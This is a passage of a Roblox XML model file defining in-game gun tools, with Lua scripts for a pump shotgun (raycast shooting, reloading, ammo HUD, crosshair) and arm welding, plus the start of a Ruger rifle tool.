						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=10209881</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="PointLight" referent="RBX5401">
					<Properties>
						<float name="Brightness">1.5</float>
						<Color3 name="Color">4294967040</Color3>
						<bool name="Enabled">false</bool>
						<string name="Name">Flash</string>
						<float name="Range">8</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5402">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Tick</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds//clickfast.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
			</Item>
			<Item class="Animation" referent="RBX5403">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=94331086</url></Content>
					<string name="Name">Recoil</string>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX5404">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">WeldArm</string>
					<ProtectedString name="Source">Tool = script.Parent

local arms = nil
local torso = nil
local welds = {}
local down = false

function Equip(mouse)
&#9;wait(0.01)
&#9;arms = {Tool.Parent:FindFirstChild(&quot;Left Arm&quot;), Tool.Parent:FindFirstChild(&quot;Right Arm&quot;)}
&#9;torso = Tool.Parent:FindFirstChild(&quot;Torso&quot;)
&#9;if arms ~= nil and torso ~= nil then
&#9;&#9;local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
&#9;&#9;if sh ~= nil then
&#9;&#9;&#9;local yes = true
&#9;&#9;&#9;if yes then
&#9;&#9;&#9;&#9;yes = false
&#9;&#9;&#9;&#9;sh[1].Part1 = nil
&#9;&#9;&#9;&#9;sh[2].Part1 = nil
&#9;&#9;&#9;&#9;local weld1 = Instance.new(&quot;Weld&quot;)
&#9;&#9;&#9;&#9;weld1.Part0 = torso
&#9;&#9;&#9;&#9;weld1.Parent = torso
&#9;&#9;&#9;&#9;weld1.Part1 = arms[1]
&#9;&#9;&#9;&#9;weld1.C1 = CFrame.new(0, 1.4, .6) * CFrame.fromEulerAnglesXYZ(math.rad(290), math.rad(10), math.rad(-90))
&#9;&#9;&#9;&#9;welds[1] = weld1
&#9;&#9;&#9;&#9;local weld2 = Instance.new(&quot;Weld&quot;)
&#9;&#9;&#9;&#9;weld2.Part0 = torso
&#9;&#9;&#9;&#9;weld2.Parent = torso
&#9;&#9;&#9;&#9;weld2.Part1 = arms[2]
&#9;&#9;&#9;&#9;weld2.C1 = CFrame.new(-1, -0.2, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0)
&#9;&#9;&#9;&#9;welds[2] = weld2
&#9;&#9;&#9;end
&#9;&#9;else
&#9;&#9;&#9;print(&quot;sh&quot;)
&#9;&#9;end
&#9;else
&#9;&#9;print(&quot;arms&quot;)
&#9;end
end

function Unequip(mouse)
&#9;if arms ~= nil and torso ~= nil then
&#9;&#9;local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
&#9;&#9;if sh ~= nil then
&#9;&#9;&#9;local yes = true
&#9;&#9;&#9;if yes then
&#9;&#9;&#9;&#9;yes = false
&#9;&#9;&#9;&#9;sh[1].Part1 = arms[1]
&#9;&#9;&#9;&#9;sh[2].Part1 = arms[2]
&#9;&#9;&#9;&#9;welds[1].Parent = nil
&#9;&#9;&#9;&#9;welds[2].Parent = nil
&#9;&#9;&#9;end
&#9;&#9;else
&#9;&#9;&#9;print(&quot;sh&quot;)
&#9;&#9;end
&#9;else
&#9;&#9;print(&quot;arms&quot;)
&#9;end
end

Tool.Equipped:connect(Equip)
Tool.Unequipped:connect(Unequip)
</ProtectedString>
				</Properties>
			</Item>
			<Item class="LocalScript" referent="RBX5405">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">R870</string>
					<ProtectedString name="Source">--------------------- TEMPLATE ASSAULT RIFLE WEAPON ---------------------------
-- Waits for the child of the specified parent
local function WaitForChild(parent, childName)
&#9;while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end
&#9;return parent[childName]
end

----- MAGIC NUMBERS ABOUT THE TOOL -----
-- How much damage a bullet does
local Damage = 12
-- How many times per second the gun can fire
local FireRate = 1 / 1.25
-- The maximum distance the can can shoot, this value should never go above 1000
local Range = 200
-- In radians the minimum accuracy penalty
local MinSpread = 0.06
-- In radian the maximum accuracy penalty
local MaxSpread = 0.12
-- Number of bullets in a clip
local ClipSize = 6
-- DefaultValue for spare ammo
local SpareAmmo = 60
-- The amount the aim will increase or decrease by
-- decreases this number reduces the speed that recoil takes effect
local AimInaccuracyStepAmount = 0.0125
-- Time it takes to reload weapon
local ReloadTime = 5
----------------------------------------

-- Colors
local FriendlyReticleColor = Color3.new(0, 1, 0)
local EnemyReticleColor&#9;= Color3.new(1, 0, 0)
local NeutralReticleColor&#9;= Color3.new(1, 1, 1)

local Spread = MinSpread
local AmmoInClip = ClipSize

local Tool = script.Parent
local Handle = WaitForChild(Tool, &apos;Handle&apos;)
local WeaponGui = nil

local LeftButtonDown
local Reloading = false
local IsShooting = false

-- Player specific convenience variables
local MyPlayer = nil
local MyCharacter = nil
local MyHumanoid = nil
local MyTorso = nil
local MyMouse = nil

local RecoilAnim
local RecoilTrack = nil

local IconURL = Tool.TextureId  -- URL to the weapon icon asset

local DebrisService = game:GetService(&apos;Debris&apos;)
local PlayersService = game:GetService(&apos;Players&apos;)


local FireSound

local OnFireConnection = nil
local OnReloadConnection = nil

local DecreasedAimLastShot = false
local LastSpreadUpdate = time()

-- this is a dummy object that holds the flash made when the gun is fired
local FlashHolder = nil


local WorldToCellFunction = Workspace.Terrain.WorldToCellPreferSolid
local GetCellFunction = Workspace.Terrain.GetCell

function RayIgnoreCheck(hit, pos)
&#9;if hit then
&#9;&#9;if hit.Transparency &gt;= 1 or string.lower(hit.Name) == &quot;water&quot; or
&#9;&#9;&#9;&#9;hit.Name == &quot;Effect&quot; or hit.Name == &quot;Rocket&quot; or hit.Name == &quot;Bullet&quot; or
&#9;&#9;&#9;&#9;hit.Name == &quot;Handle&quot; or hit:IsDescendantOf(MyCharacter) then
&#9;&#9;&#9;return true
&#9;&#9;elseif hit:IsA(&apos;Terrain&apos;) and pos then
&#9;&#9;&#9;local cellPos = WorldToCellFunction(Workspace.Terrain, pos)
&#9;&#9;&#9;if cellPos then
&#9;&#9;&#9;&#9;local cellMat = GetCellFunction(Workspace.Terrain, cellPos.x, cellPos.y, cellPos.z)
&#9;&#9;&#9;&#9;if cellMat and cellMat == Enum.CellMaterial.Water then
&#9;&#9;&#9;&#9;&#9;return true
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
&#9;return false
end

-- @preconditions: vec should be a unit vector, and 0 &lt; rayLength &lt;= 1000
function RayCast(startPos, vec, rayLength)
&#9;local hitObject, hitPos = game.Workspace:FindPartOnRay(Ray.new(startPos + (vec * .01), vec * rayLength), Handle)
&#9;if hitObject and hitPos then
&#9;&#9;local distance = rayLength - (hitPos - startPos).magnitude
&#9;&#9;if RayIgnoreCheck(hitObject, hitPos) and distance &gt; 0 then
&#9;&#9;&#9;-- there is a chance here for potential infinite recursion
&#9;&#9;&#9;return RayCast(hitPos, vec, distance)
&#9;&#9;end
&#9;end
&#9;return hitObject, hitPos
end



function TagHumanoid(humanoid, player)
&#9;-- Add more tags here to customize what tags are available.
&#9;while humanoid:FindFirstChild(&apos;creator&apos;) do
&#9;&#9;humanoid:FindFirstChild(&apos;creator&apos;):Destroy()
&#9;end 
&#9;local creatorTag = Instance.new(&quot;ObjectValue&quot;)
&#9;creatorTag.Value = player
&#9;creatorTag.Name = &quot;creator&quot;
&#9;creatorTag.Parent = humanoid
&#9;DebrisService:AddItem(creatorTag, 1.5)

&#9;local weaponIconTag = Instance.new(&quot;StringValue&quot;)
&#9;weaponIconTag.Value = IconURL
&#9;weaponIconTag.Name = &quot;icon&quot;
&#9;weaponIconTag.Parent = creatorTag
end


local function CreateBullet(bulletPos)
&#9;local bullet = Instance.new(&apos;Part&apos;, Workspace)
&#9;bullet.FormFactor = Enum.FormFactor.Custom
&#9;bullet.Size = Vector3.new(0.1, 0.1, 0.1)
&#9;bullet.BrickColor = BrickColor.new(&quot;Black&quot;)
&#9;bullet.Shape = Enum.PartType.Block
&#9;bullet.CanCollide = false
&#9;bullet.CFrame = CFrame.new(bulletPos)
&#9;bullet.Anchored = true
&#9;bullet.TopSurface = Enum.SurfaceType.Smooth
&#9;bullet.BottomSurface = Enum.SurfaceType.Smooth
&#9;bullet.Name = &apos;Bullet&apos;
&#9;DebrisService:AddItem(bullet, 2.5)
&#9;return bullet
end

local function Reload()
&#9;if not Reloading then
&#9;&#9;Reloading = true
&#9;&#9;-- Don&apos;t reload if you are already full or have no extra ammo
&#9;&#9;if AmmoInClip ~= ClipSize and SpareAmmo &gt; 0 then
&#9;&#9;&#9;if RecoilTrack then
&#9;&#9;&#9;&#9;RecoilTrack:Stop()
&#9;&#9;&#9;end
&#9;&#9;&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) then
&#9;&#9;&#9;&#9;if WeaponGui.Crosshair:FindFirstChild(&apos;ReloadingLabel&apos;) then
&#9;&#9;&#9;&#9;&#9;WeaponGui.Crosshair.ReloadingLabel.Visible = true
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;&#9;script.Parent.Handle.Reload:Play()
&#9;&#9;&#9;wait(.75)
&#9;&#9;&#9;script.Parent.Handle.Reload:Play()
&#9;&#9;&#9;wait(.75)
&#9;&#9;&#9;script.Parent.Handle.Reload:Play()
&#9;&#9;&#9;wait(.75)
&#9;&#9;&#9;script.Parent.Handle.Reload:Play()
&#9;&#9;&#9;wait(.75)
&#9;&#9;&#9;script.Parent.Handle.Reload:Play()
&#9;&#9;&#9;wait(.75)
&#9;&#9;&#9;script.Parent.Handle.Reload:Play()
&#9;&#9;&#9;wait(.75)
&#9;&#9;&#9;script.Parent.Handle.PumpSound:Play()
&#9;&#9;&#9;-- Only use as much ammo as you have
&#9;&#9;&#9;local ammoToUse = math.min(ClipSize - AmmoInClip, SpareAmmo)
&#9;&#9;&#9;AmmoInClip = AmmoInClip + ammoToUse
&#9;&#9;&#9;SpareAmmo = SpareAmmo - ammoToUse
&#9;&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;&#9;&#9;WeaponGui.Reload.Visible = false
&#9;&#9;end
&#9;&#9;Reloading = false
&#9;end
end

function OnFire()
&#9;if IsShooting then return end
&#9;if MyHumanoid and MyHumanoid.Health &gt; 0 then
&#9;&#9;if RecoilTrack and AmmoInClip &gt; 0 then
&#9;&#9;&#9;RecoilTrack:Play()
&#9;&#9;end
&#9;&#9;IsShooting = true
&#9;&#9;while LeftButtonDown and AmmoInClip &gt; 0 and not Reloading do
&#9;&#9;&#9;if Spread and not DecreasedAimLastShot then
&#9;&#9;&#9;&#9;Spread = math.min(MaxSpread, Spread + AimInaccuracyStepAmount)
&#9;&#9;&#9;&#9;UpdateCrosshair(Spread)
&#9;&#9;&#9;end
&#9;&#9;&#9;DecreasedAimLastShot = not DecreasedAimLastShot
&#9;&#9;&#9;if Handle:FindFirstChild(&apos;FireSound&apos;) then
&#9;&#9;&#9;&#9;Handle.FireSound:Play()
&#9;&#9;&#9;&#9;Handle.PumpSound:Play()
&#9;&#9;&#9;&#9;Handle.Flash.Enabled = true
&#9;&#9;&#9;end
&#9;&#9;&#9;if MyMouse then
&#9;&#9;&#9;&#9;for i = 1,8 do -- Shotgun effect :P
&#9;&#9;&#9;&#9;&#9;local targetPoint = MyMouse.Hit.p
&#9;&#9;&#9;&#9;&#9;local shootDirection = (targetPoint - Handle.Position).unit
&#9;&#9;&#9;&#9;&#9;-- Adjust the shoot direction randomly off by a little bit to account for recoil
&#9;&#9;&#9;&#9;&#9;shootDirection = CFrame.Angles((0.5 - math.random()) * 2 * Spread,
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;(0.5 - math.random()) * 2 * Spread,
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;(0.5 - math.random()) * 2 * Spread) * shootDirection
&#9;&#9;&#9;&#9;&#9;local hitObject, bulletPos = RayCast(Handle.Position, shootDirection, Range)
&#9;&#9;&#9;&#9;&#9;local bullet
&#9;&#9;&#9;&#9;&#9;-- Create a bullet here
&#9;&#9;&#9;&#9;&#9;if hitObject then
&#9;&#9;&#9;&#9;&#9;&#9;bullet = CreateBullet(bulletPos)
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;if hitObject and hitObject.Parent then
&#9;&#9;&#9;&#9;&#9;&#9;local hitHumanoid = hitObject.Parent:FindFirstChild(&quot;Humanoid&quot;)
&#9;&#9;&#9;&#9;&#9;&#9;if hitHumanoid then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;local hitPlayer = game.Players:GetPlayerFromCharacter(hitHumanoid.Parent)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;if MyPlayer.Neutral or (hitPlayer and hitPlayer.TeamColor ~= MyPlayer.TeamColor) then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;TagHumanoid(hitHumanoid, MyPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;hitHumanoid:TakeDamage(Damage)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;if bullet then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet:Destroy()
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet = nil
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;--bullet.Transparency = 1
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;Spawn(UpdateTargetHit)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;elseif not hitPlayer then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;TagHumanoid(hitHumanoid, MyPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;hitHumanoid:TakeDamage(Damage)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;if bullet then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet:Destroy()
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet = nil
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;--bullet.Transparency = 1
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;Spawn(UpdateTargetHit)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;AmmoInClip = AmmoInClip - 1
&#9;&#9;&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;&#9;&#9;end
&#9;&#9;&#9;wait(.2); Handle.Flash.Enabled = false
&#9;&#9;&#9;wait(FireRate)
&#9;&#9;&#9;OnMouseUp()
&#9;&#9;end&#9;&#9;
&#9;&#9;IsShooting = false
&#9;&#9;if AmmoInClip == 0 then
&#9;&#9;&#9;Handle.Tick:Play()
&#9;&#9;&#9;WeaponGui.Reload.Visible = true
&#9;&#9;end
&#9;&#9;if RecoilTrack then
&#9;&#9;&#9;RecoilTrack:Stop()
&#9;&#9;end
&#9;end
end

local TargetHits = 0
function UpdateTargetHit()
&#9;TargetHits = TargetHits + 1
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;TargetHitImage&apos;) then
&#9;&#9;WeaponGui.Crosshair.TargetHitImage.Visible = true
&#9;end
&#9;wait(0.5)
&#9;TargetHits = TargetHits - 1
&#9;if TargetHits == 0 and WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;TargetHitImage&apos;) then
&#9;&#9;WeaponGui.Crosshair.TargetHitImage.Visible = false
&#9;end
end

function UpdateCrosshair(value, mouse)
&#9;if WeaponGui then
&#9;&#9;local absoluteY = 650
&#9;&#9;WeaponGui.Crosshair:TweenSize(
&#9;&#9;&#9;UDim2.new(0, value * absoluteY * 2 + 23, 0, value * absoluteY * 2 + 23),
&#9;&#9;&#9;Enum.EasingDirection.Out,
&#9;&#9;&#9;Enum.EasingStyle.Linear,
&#9;&#9;&#9;0.33)
&#9;end
end

function UpdateAmmo(value)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;AmmoHud&apos;) and WeaponGui.AmmoHud:FindFirstChild(&apos;ClipAmmo&apos;) then
&#9;&#9;WeaponGui.AmmoHud.ClipAmmo.Text = AmmoInClip
&#9;&#9;if value &gt; 0 and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;ReloadingLabel&apos;) then
&#9;&#9;&#9;WeaponGui.Crosshair.ReloadingLabel.Visible = false
&#9;&#9;end
&#9;end
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;AmmoHud&apos;) and WeaponGui.AmmoHud:FindFirstChild(&apos;TotalAmmo&apos;) then
&#9;&#9;WeaponGui.AmmoHud.TotalAmmo.Text = SpareAmmo
&#9;end
end


function OnMouseDown()
&#9;LeftButtonDown = true
&#9;OnFire()
end

function OnMouseUp()
&#9;LeftButtonDown = false
end

function OnKeyDown(key)
&#9;if string.lower(key) == &apos;r&apos; then
&#9;&#9;Reload()
&#9;end
end


function OnEquipped(mouse)
&#9;Handle.EquipSound:Play()
&#9;RecoilAnim = WaitForChild(Tool, &apos;Recoil&apos;)
&#9;FireSound  = WaitForChild(Handle, &apos;FireSound&apos;)

&#9;MyCharacter = Tool.Parent
&#9;MyPlayer = game:GetService(&apos;Players&apos;):GetPlayerFromCharacter(MyCharacter)
&#9;MyHumanoid = MyCharacter:FindFirstChild(&apos;Humanoid&apos;)
&#9;MyTorso = MyCharacter:FindFirstChild(&apos;Torso&apos;)
&#9;MyMouse = mouse
&#9;WeaponGui = WaitForChild(Tool, &apos;WeaponHud&apos;):Clone()
&#9;if WeaponGui and MyPlayer then
&#9;&#9;WeaponGui.Parent = MyPlayer.PlayerGui
&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;end
&#9;if RecoilAnim then
&#9;&#9;RecoilTrack = MyHumanoid:LoadAnimation(RecoilAnim)
&#9;end

&#9;if MyMouse then
&#9;&#9;-- Disable mouse icon
&#9;&#9;MyMouse.Icon = &quot;http://www.roblox.com/asset/?id=18662154&quot;
&#9;&#9;MyMouse.Button1Down:connect(OnMouseDown)
&#9;&#9;MyMouse.Button1Up:connect(OnMouseUp)
&#9;&#9;MyMouse.KeyDown:connect(OnKeyDown)
&#9;end
end


-- Unequip logic here
function OnUnequipped()
&#9;LeftButtonDown = false
&#9;Reloading = false
&#9;MyCharacter = nil
&#9;MyHumanoid = nil
&#9;MyTorso = nil
&#9;MyPlayer = nil
&#9;MyMouse = nil
&#9;if OnFireConnection then
&#9;&#9;OnFireConnection:disconnect()
&#9;end
&#9;if OnReloadConnection then
&#9;&#9;OnReloadConnection:disconnect()
&#9;end
&#9;if FlashHolder then
&#9;&#9;FlashHolder = nil
&#9;end
&#9;if WeaponGui then
&#9;&#9;WeaponGui.Parent = nil
&#9;&#9;WeaponGui = nil
&#9;end
&#9;if RecoilTrack then
&#9;&#9;RecoilTrack:Stop()
&#9;end
end

local function SetReticleColor(color)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) then
&#9;&#9;for _, line in pairs(WeaponGui.Crosshair:GetChildren()) do
&#9;&#9;&#9;if line:IsA(&apos;Frame&apos;) then
&#9;&#9;&#9;&#9;line.BorderColor3 = color
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
end


Tool.Equipped:connect(OnEquipped)
Tool.Unequipped:connect(OnUnequipped)

while true do
&#9;wait(0.033)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and MyMouse then
&#9;&#9;WeaponGui.Crosshair.Position = UDim2.new(0, MyMouse.X, 0, MyMouse.Y)
&#9;&#9;SetReticleColor(NeutralReticleColor)

&#9;&#9;local target = MyMouse.Target
&#9;&#9;if target and target.Parent then
&#9;&#9;&#9;local player = PlayersService:GetPlayerFromCharacter(target.Parent)
&#9;&#9;&#9;if player then
&#9;&#9;&#9;&#9;if MyPlayer.Neutral or player.TeamColor ~= MyPlayer.TeamColor then
&#9;&#9;&#9;&#9;&#9;SetReticleColor(EnemyReticleColor)
&#9;&#9;&#9;&#9;else
&#9;&#9;&#9;&#9;&#9;SetReticleColor(FriendlyReticleColor)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
&#9;if Spread and not IsShooting then
&#9;&#9;local currTime = time()
&#9;&#9;if currTime - LastSpreadUpdate &gt; FireRate * 2 then
&#9;&#9;&#9;LastSpreadUpdate = currTime
&#9;&#9;&#9;Spread = math.max(MinSpread, Spread - AimInaccuracyStepAmount)
&#9;&#9;&#9;UpdateCrosshair(Spread, MyMouse)
&#9;&#9;end
&#9;end
end
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						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
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				<Item class="Frame" referent="RBX5418">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4288914085</Color3>
						<float name="BackgroundTransparency">1</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">0</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">Reload</string>
						<UDim2 name="Position">
							<XS>1</XS>
							<XO>-265</XO>
							<YS>1</YS>
							<YO>-120</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>200</XO>
							<YS>0</YS>
							<YO>50</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<token name="Style">0</token>
						<bool name="Visible">false</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="TextLabel" referent="RBX5419">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">2</token>
							<token name="FontSize">7</token>
							<string name="Name">Reload</string>
							<UDim2 name="Position">
								<XS>0.5</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">Press R to Reload</string>
							<Color3 name="TextColor3">4294901760</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
			</Item>
		</Item>
		<Item class="Tool" referent="RBX5420">
			<Properties>
				<bool name="CanBeDropped">false</bool>
				<bool name="Enabled">true</bool>
				<CoordinateFrame name="Grip">
					<X>0.25</X>
					<Y>-0.200000003</Y>
					<Z>0.400000006</Z>
					<R00>0.970142484</R00>
					<R01>0</R01>
					<R02>0.242535636</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-0.242535636</R20>
					<R21>0</R21>
					<R22>0.970142484</R22>
				</CoordinateFrame>
				<string name="Name">Ruger</string>
				<Content name="TextureId"><url>http://www.roblox.com/asset/?id=122079887</url></Content>
				<string name="ToolTip">Ruger 1022</string>
			</Properties>
			<Item class="Part" referent="RBX5421">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>-15.8000002</X>
						<Y>-68.5999985</Y>
						<Z>31.8999996</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">true</bool>
					<token name="Material">256</token>
					<string name="Name">Handle</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="formFactorRaw">3</token>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>0.200000003</X>
						<Y>1</Y>
						<Z>4.4000001</Z>
					</Vector3>
				</Properties>
				<Item class="SpecialMesh" referent="RBX5422">
					<Properties>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<Content name="MeshId"><url>http://www.roblox.com/asset/?id=4372841</url></Content>
						<token name="MeshType">5</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>1.20000005</X>
							<Y>1.20000005</Y>
							<Z>0.949999988</Z>
						</Vector3>
						<Content name="TextureId"><null></null></Content>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5423">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">FireSound</string>
						<float name="Pitch">1.39999998</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=10209859 </url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5424">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Reload</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=2691591</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5425">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">EquipSound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=10209881</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="PointLight" referent="RBX5426">
					<Properties>
						<float name="Brightness">1.5</float>
						<Color3 name="Color">4294967040</Color3>
						<bool name="Enabled">false</bool>
						<string name="Name">Flash</string>
						<float name="Range">8</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5427">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Tick</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds//clickfast.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
			</Item>
			<Item class="Animation" referent="RBX5428">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=94331086</url></Content>
					<string name="Name">Recoil</string>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX5429">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">WeldArm</string>
					<ProtectedString name="Source">Tool = script.Parent

local arms = nil
local torso = nil
local welds = {}
local down = false

function Equip(mouse)
&#9;wait(0.01)
&#9;arms = {Tool.Parent:FindFirstChild(&quot;Left Arm&quot;), Tool.Parent:FindFirstChild(&quot;Right Arm&quot;)}
&#9;torso = Tool.Parent:FindFirstChild(&quot;Torso&quot;)
&#9;if arms ~= nil and torso ~= nil then
&#9;&#9;local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
&#9;&#9;if sh ~= nil then
&#9;&#9;&#9;local yes = true
&#9;&#9;&#9;if yes then
&#9;&#9;&#9;&#9;yes = false
&#9;&#9;&#9;&#9;sh[1].Part1 = nil
&#9;&#9;&#9;&#9;sh[2].Part1 = nil
